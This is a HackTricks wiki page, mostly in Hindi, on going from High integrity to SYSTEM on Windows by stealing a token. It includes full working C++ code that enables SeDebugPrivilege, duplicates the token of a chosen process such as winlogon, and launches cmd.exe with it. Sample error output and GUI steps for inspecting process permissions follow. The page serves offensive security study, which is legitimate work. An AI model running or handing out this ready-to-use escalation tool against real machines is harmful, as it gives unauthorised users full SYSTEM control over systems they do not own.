mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
177 lines
7.9 KiB
Markdown
177 lines
7.9 KiB
Markdown
# SeImpersonate from High To System
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
### Code
|
|
|
|
The following code from [here](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). यह **एक प्रक्रिया ID को तर्क के रूप में इंगित करने** की अनुमति देता है और एक CMD **इंगित प्रक्रिया के उपयोगकर्ता के रूप में चलाया जाएगा।**\
|
|
High Integrity प्रक्रिया में चलाते समय आप **System के रूप में चल रही प्रक्रिया का PID इंगित कर सकते हैं** (जैसे winlogon, wininit) और cmd.exe को सिस्टम के रूप में निष्पादित कर सकते हैं।
|
|
```cpp
|
|
impersonateuser.exe 1234
|
|
```
|
|
|
|
```cpp:impersonateuser.cpp
|
|
// From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962
|
|
|
|
#include <windows.h>
|
|
#include <iostream>
|
|
#include <Lmcons.h>
|
|
BOOL SetPrivilege(
|
|
HANDLE hToken, // access token handle
|
|
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
|
|
BOOL bEnablePrivilege // to enable or disable privilege
|
|
)
|
|
{
|
|
TOKEN_PRIVILEGES tp;
|
|
LUID luid;
|
|
if (!LookupPrivilegeValue(
|
|
NULL, // lookup privilege on local system
|
|
lpszPrivilege, // privilege to lookup
|
|
&luid)) // receives LUID of privilege
|
|
{
|
|
printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
|
|
return FALSE;
|
|
}
|
|
tp.PrivilegeCount = 1;
|
|
tp.Privileges[0].Luid = luid;
|
|
if (bEnablePrivilege)
|
|
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|
else
|
|
tp.Privileges[0].Attributes = 0;
|
|
// Enable the privilege or disable all privileges.
|
|
if (!AdjustTokenPrivileges(
|
|
hToken,
|
|
FALSE,
|
|
&tp,
|
|
sizeof(TOKEN_PRIVILEGES),
|
|
(PTOKEN_PRIVILEGES)NULL,
|
|
(PDWORD)NULL))
|
|
{
|
|
printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
|
|
return FALSE;
|
|
}
|
|
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
|
|
{
|
|
printf("[-] The token does not have the specified privilege. \n");
|
|
return FALSE;
|
|
}
|
|
return TRUE;
|
|
}
|
|
std::string get_username()
|
|
{
|
|
TCHAR username[UNLEN + 1];
|
|
DWORD username_len = UNLEN + 1;
|
|
GetUserName(username, &username_len);
|
|
std::wstring username_w(username);
|
|
std::string username_s(username_w.begin(), username_w.end());
|
|
return username_s;
|
|
}
|
|
int main(int argc, char** argv) {
|
|
// Print whoami to compare to thread later
|
|
printf("[+] Current user is: %s\n", (get_username()).c_str());
|
|
// Grab PID from command line argument
|
|
char* pid_c = argv[1];
|
|
DWORD PID_TO_IMPERSONATE = atoi(pid_c);
|
|
// Initialize variables and structures
|
|
HANDLE tokenHandle = NULL;
|
|
HANDLE duplicateTokenHandle = NULL;
|
|
STARTUPINFO startupInfo;
|
|
PROCESS_INFORMATION processInformation;
|
|
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
|
|
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
|
|
startupInfo.cb = sizeof(STARTUPINFO);
|
|
// Add SE debug privilege
|
|
HANDLE currentTokenHandle = NULL;
|
|
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle);
|
|
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
|
|
{
|
|
printf("[+] SeDebugPrivilege enabled!\n");
|
|
}
|
|
// Call OpenProcess(), print return code and error code
|
|
HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
|
|
if (GetLastError() == NULL)
|
|
printf("[+] OpenProcess() success!\n");
|
|
else
|
|
{
|
|
printf("[-] OpenProcess() Return Code: %i\n", processHandle);
|
|
printf("[-] OpenProcess() Error: %i\n", GetLastError());
|
|
}
|
|
// Call OpenProcessToken(), print return code and error code
|
|
BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
|
|
if (GetLastError() == NULL)
|
|
printf("[+] OpenProcessToken() success!\n");
|
|
else
|
|
{
|
|
printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
|
|
printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
|
|
}
|
|
// Impersonate user in a thread
|
|
BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
|
|
if (GetLastError() == NULL)
|
|
{
|
|
printf("[+] ImpersonatedLoggedOnUser() success!\n");
|
|
printf("[+] Current user is: %s\n", (get_username()).c_str());
|
|
printf("[+] Reverting thread to original user context\n");
|
|
RevertToSelf();
|
|
}
|
|
else
|
|
{
|
|
printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
|
|
printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
|
|
}
|
|
// Call DuplicateTokenEx(), print return code and error code
|
|
BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
|
|
if (GetLastError() == NULL)
|
|
printf("[+] DuplicateTokenEx() success!\n");
|
|
else
|
|
{
|
|
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
|
|
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
|
|
}
|
|
// Call CreateProcessWithTokenW(), print return code and error code
|
|
BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
|
|
if (GetLastError() == NULL)
|
|
printf("[+] Process spawned!\n");
|
|
else
|
|
{
|
|
printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
|
|
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
|
|
}
|
|
return 0;
|
|
}
|
|
```
|
|
### त्रुटि
|
|
|
|
कुछ अवसरों पर आप System की नकल करने की कोशिश कर सकते हैं और यह काम नहीं करेगा, निम्नलिखित आउटपुट दिखाते हुए:
|
|
```cpp
|
|
[+] OpenProcess() success!
|
|
[+] OpenProcessToken() success!
|
|
[-] ImpersonatedLoggedOnUser() Return Code: 1
|
|
[-] ImpersonatedLoggedOnUser() Error: 5
|
|
[-] DuplicateTokenEx() Return Code: 0
|
|
[-] DupicateTokenEx() Error: 5
|
|
[-] CreateProcessWithTokenW Return Code: 0
|
|
[-] CreateProcessWithTokenW Error: 1326
|
|
```
|
|
इसका मतलब है कि भले ही आप उच्च इंटीग्रिटी स्तर पर चल रहे हों **आपके पास पर्याप्त अनुमतियाँ नहीं हैं**।\
|
|
आइए `svchost.exe` प्रक्रियाओं पर वर्तमान व्यवस्थापक अनुमतियों की जांच करें **processes explorer** (या आप process hacker का भी उपयोग कर सकते हैं):
|
|
|
|
1. `svchost.exe` की एक प्रक्रिया चुनें
|
|
2. राइट क्लिक --> प्रॉपर्टीज
|
|
3. "Security" टैब के अंदर नीचे दाईं ओर "Permissions" बटन पर क्लिक करें
|
|
4. "Advanced" पर क्लिक करें
|
|
5. "Administrators" का चयन करें और "Edit" पर क्लिक करें
|
|
6. "Show advanced permissions" पर क्लिक करें
|
|
|
|
.png>)
|
|
|
|
पिछली छवि में "Administrators" के पास चयनित प्रक्रिया पर सभी विशेषाधिकार हैं (जैसा कि आप देख सकते हैं कि `svchost.exe` के मामले में उनके पास केवल "Query" विशेषाधिकार हैं)
|
|
|
|
देखें कि "Administrators" के पास `winlogon.exe` पर कौन से विशेषाधिकार हैं:
|
|
|
|
.png>)
|
|
|
|
उस प्रक्रिया के अंदर "Administrators" "Read Memory" और "Read Permissions" कर सकते हैं जो शायद व्यवस्थापकों को इस प्रक्रिया द्वारा उपयोग किए जाने वाले टोकन का अनुकरण करने की अनुमति देता है।
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|